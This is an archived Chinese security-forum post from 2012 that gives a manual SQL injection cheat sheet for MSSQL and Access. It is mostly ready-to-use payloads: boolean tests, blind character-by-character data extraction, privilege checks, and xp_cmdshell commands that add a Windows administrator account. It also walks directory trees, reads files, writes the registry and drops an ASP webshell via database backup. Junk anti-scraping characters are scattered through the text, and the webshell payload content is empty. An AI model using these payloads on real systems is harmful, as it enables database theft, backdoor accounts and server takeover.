中国网络渗透测试联盟
标题:
手工脚本注入
[打印本页]
作者:
admin
时间:
2012-9-15 14:48
标题:
手工脚本注入
手工脚本注入
9 g% _) ?: q3 Q- m
1.判断是否有注入;and 1=1 ;and 1=2
+ ^6 Y, j/ D Q; j2 i- G( n% {
0 i) i$ X6 s6 \
2.初步判断是否是mssql ;and user>0
* t3 G+ m, G) x A
) I& r5 w6 Q$ U3 y( R3 C
3.注入参数是字符'and [查询条件] and ''='
! j* C: l9 a+ P
0 m, G; g( ~7 X: Q9 E
4.搜索时没过滤参数的'and [查询条件] and '%25'='
9 v+ e4 ^) R7 g* O0 a
& g$ k. J6 X1 H9 F' q
5.判断数据库系统
8 R; y, r8 l0 i* f& K
;and (select count(*) from sysobjects)>0 mssql
% C0 N1 F6 }/ [6 E5 q
;and (select count(*) from msysobjects)>0 access
* h. U$ e3 M5 Y
; i1 `" E& e' x w
6.猜数据库 ;and (select Count(*) from [数据库名])>0
* n \1 \/ X. P: P. U5 T Y' ?
3 z6 G3 N/ Z; O/ v. b, T
7.猜字段 ;and (select Count(字段名) from 数据库名)>0
3 e# i- r3 E% [$ R
: ?& `: C8 l7 }3 Z$ p& U
8.猜字段中记录长度 ;and (select top 1 len(字段名) from 数据库名)>0
( E, ]9 G, ?0 J# e) d0 V8 R
! |$ p" k0 q1 x% E" _& u2 R' K
9.(1)猜字段的ascii值(access)
]6 F6 Z- R" g3 ^% d+ M2 e R
;and (select top 1 asc(mid(字段名,1,1)) from 数据库名)>0
/ s# j, N3 J. z* m, R- Z% O8 A& `. o
7 c; D3 Z; x: A" q1 K3 n" c. @
(2)猜字段的ascii值(mssql)
/ M6 B* B+ F, T
;and (select top 1 unicode(substring(字段名,1,1)) from 数据库名)>0
0 j B# L5 v; z
% i! {4 m, b3 W9 _/ Q! [0 f' A7 f
10.测试权限结构(mssql)
$ a% R! V; V, L
;and 1=(select IS_SRVROLEMEMBER('sysadmin'));--
4 K& E* L! N" L$ M" t& s1 [, Z( t( O
;and 1=(select IS_SRVROLEMEMBER('serveradmin'));--
7 t* a0 S7 R! B$ \; H# v
;and 1=(select IS_SRVROLEMEMBER('setupadmin'));--
3 i, E/ Q" i0 |+ v9 O. q A
;and 1=(select IS_SRVROLEMEMBER('securityadmin'));--
G" j6 ~( s _1 M
;and 1=(select IS_SRVROLEMEMBER('diskadmin'));--
2 ]8 p, {8 V8 F
;and 1=(select IS_SRVROLEMEMBER('bulkadmin'));--
: D3 l% U) V) g( z8 x
;and 1=(select IS_MEMBER('db_owner'));--
2 r* }; T! e5 `) w" w* a5 i0 u3 `
1 Y' L }. x' u( l+ E$ ~
11.添加mssql和系统的帐户
4 O: z1 l5 ]) r. c, T4 ~, @( D& V
;exec master.dbo.sp_addlogin username;--
8 M1 _# R; W, x! T; _6 g! b
8 L1 Z1 Q7 y! q/ l2 _. ^# k3 i# N1 o
;exec master.dbo.sp_password null,username,password;--
- T; R9 ^( i2 \) E/ p- Y5 [
% q7 Y8 J8 l0 T7 T
;exec master.dbo.sp_addsrvrolemember sysadmin username;--
, i: Z) Q3 Q8 \+ l) C
3 J* t, I7 O h
;exec master.dbo.xp_cmdshell 'net user username password
1 V; F2 C" {. L' D" P" X
/workstations:*/times:all/passwordchg:yes /passwordreq:yes /active:yes /add';--
1 a; b: L7 p) t3 H$ s' p9 K
A L3 `$ x$ s0 [& v9 B% t5 W
;exec master.dbo.xp_cmdshell 'net user username password /add';--
4 t5 {5 t+ v: l2 e! J1 S
! T- ^9 C( ~+ K
;exec master.dbo.xp_cmdshell 'net localgroup administrators username /add';--
) B7 Q. e# M% ^2 N U$ {, c& q
) q7 K3 T# |" n
12.(1)遍历目录
- _! p$ E5 C; d8 g0 p9 @
5 A( t( [. ]3 f) j; @% I% v
;create table dirs(paths varchar(100), id int)
' \3 W& x$ K( n8 |( v5 g
;insert dirs exec master.dbo.xp_dirtree 'c:\'
( d V/ E1 y d, r# | t
;and (select top 1 paths from dirs)>0
. U9 Y. B" N$ L- P5 ~/ S" [5 P
;and (select top 1 paths from dirs where paths not in('上步得到的paths'))>)
+ Q9 z* k" n$ u" s$ b1 b7 ^/ A% N
# _- r% b% ~$ O
(2)遍历目录
$ i! d3 u" e8 X1 u5 A1 b+ y
;create table temp(id nvarchar(255),num1 nvarchar(255),num2 nvarchar(255),num3 nvarchar(255));--
! |+ e7 ]4 C5 P
;insert temp exec master.dbo.xp_availablemedia;-- 获得当前所有驱动器
: @3 ]: m" g$ H
;insert into temp(id) exec master.dbo.xp_subdirs 'c:\';-- 获得子目录列表
- {' C/ E, S9 H' n/ ]
;insert into temp(id,num1) exec master.dbo.xp_dirtree 'c:\';-- 获得所有子目录的目录树构
6 S& w7 H, j3 ^6 I- c( \% f2 {2 Z
;insert into temp(id) exec master.dbo.xp_cmdshell 'type c:\web\index.asp';-- 查看文件的内容
' H; ~/ n6 u5 u$ [) x
# j3 Y4 q) W2 ~: _9 Z4 Q
13.mssql中的存储过程
0 v! U9 A; S1 Q9 n; w$ u
* w/ V W9 Y1 b n$ Z1 L8 @& z# ~
xp_regenumvalues 注册表根键, 子键
8 D* @: ?. @8 n& G9 O
;exec xp_regenumvalues 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Run' 以多个记录集方式返回所有键值
3 B- |! A( P" Y+ L1 ?2 _3 u
! u* o# d: z3 m7 l0 a, ?0 ?
xp_regread 根键,子键,键值名
) ~; ^5 B0 x2 G
;exec xp_regread
. I$ |( E& Z8 w7 Z3 K. M$ ^
'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','CommonFilesDir' 返回制定键的值
( @2 S$ X# R7 X( X; d4 c( ?
( T9 w1 F2 i: j' c* D8 \: @
xp_regwrite 根键,子键, 值名, 值类型, 值
1 h2 f9 `" j' U7 g& d
值类型有2种REG_SZ 表示字符型,REG_DWORD 表示整型
& J7 d8 H1 l& F) W" K( t/ Z8 U
;exec xp_regwrite 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName','reg_sz','hello' 写入注册表
3 t N1 T+ J# N# Y2 a+ S
( u7 z% m0 y! e2 e% u
xp_regdeletevalue 根键,子键,值名
0 h( N; t: i4 J3 y9 i8 Z9 J
- \! A9 ~3 ?1 Q9 Z: ]- J' K# `9 ]
exec xp_regdeletevalue 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion','TestValueName' 删除某个值
! m- A: @* W9 R0 H Y
4 ^& ^. ]; n- r! c) o
xp_regdeletekey 'HKEY_LOCAL_MACHINE','SOFTWARE\Microsoft\Windows\CurrentVersion\Testkey' 删除键,包括该键下所有值
7 H# { y# n7 \6 a1 K9 T
& @) ~/ K8 u5 z Q: N% w
14.mssql的backup创建webshell
7 J9 D. V6 {; w% u' a9 u9 {
use model
5 q" x7 f' @5 d5 E+ L
create table cmd(str image);
$ Z% m; ]* J. s H
insert into cmd(str) values ('');
4 C* a1 {; r9 m. k
backup database model to disk='c:\l.asp';
1 ~+ O- H/ c6 x( |+ I8 y
3 J" ^$ Q3 U$ H1 u
15.mssql内置函数
, _9 N" Q$ B: U! H9 o% D
;and (select @@version)>0 获得Windows的版本号
: C( E# p) S/ S0 H. y. o# X
;and user_name()='dbo' 判断当前系统的连接用户是不是sa
9 s% ]; D) k8 A1 U% v/ [9 b3 b
;and (select user_name())>0 爆当前系统的连接用户
" y: I& d; u* W- z/ g, y
;and (select db_name())>0 得到当前连接的数据库
# f) n% D. m; h1 o3 B1 h- J( b
+ A3 h7 q: u/ S- M! ?7 p, \% A: ]: \: q
16.简洁的webshell
: y) B8 x8 g m* ~0 J
( p$ E% ?, C. b, j: D: u( M
use model
" q9 |3 L9 X* t k R% ^# h
8 Q) E3 J* L. t% M/ o. @( G
create table cmd(str image);
$ V3 v: q# \! ?6 G
% i% G& q" ~- w
insert into cmd(str) values ('');
: ?: U% Z# \+ T
' ]6 R8 h; A2 N) J
backup database model to disk='g:\wwwtest\l.asp';
2 `# ~( [, R4 {+ \2 F7 A% K+ X/ Y( U4 I$ G
" R! Z# `, K( Y6 ^
作者:
老男孩
时间:
2012-9-15 16:34
现在很多防注入啊,有其他注入字符码
欢迎光临 中国网络渗透测试联盟 (https://www.cobjon.com/)
Powered by Discuz! X3.2